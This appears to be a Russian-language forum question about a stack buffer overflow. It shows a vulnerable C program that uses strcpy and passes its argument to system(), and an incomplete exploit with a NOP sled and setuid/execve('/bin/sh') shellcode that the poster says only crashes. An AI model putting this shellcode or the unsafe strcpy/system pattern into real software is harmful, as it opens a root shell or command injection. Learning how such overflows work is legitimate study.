Почитал статейки про переполнение буфера но до конца не получается.
Предположим есть прога :
char filename[30], cmd[600];
strcpy(filename, argv[1]); //copy into filename 1st argument
snprintf(cmd, 600, "ls |grep %s", filename);
//copy cmd-line to execute via system();
system(cmd); //execute
return 0;
}
Если переполнить filename то можно выполнить шеллкод.
С помощью gdb узнаю границу переполнения - получается ,что если записать
43 символа то прога вызывает segmentation fault/
в 43,44,45,46 байтах лежит адрес возврата.Если я допустим запихиваю в буфер тысячу нопов а потом шеллкод,то адрес возврата должен исказится так что будет указывать на эту кучу нопов ,которые исполнятся а потом выполнится и шеллкод.Но этого не происходит!Прога просто пишет segmentation fault........
вот код эксплоита:
char shellpre[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main() {
char attackbuf[1010];
memset(attackbuf,0x90,900);
int i;
sprintf(attackbuf+900,"%s",shellpre);
printf("Attaching shellcode...\n");
execl("util2", "util2" , attackbuf, NULL);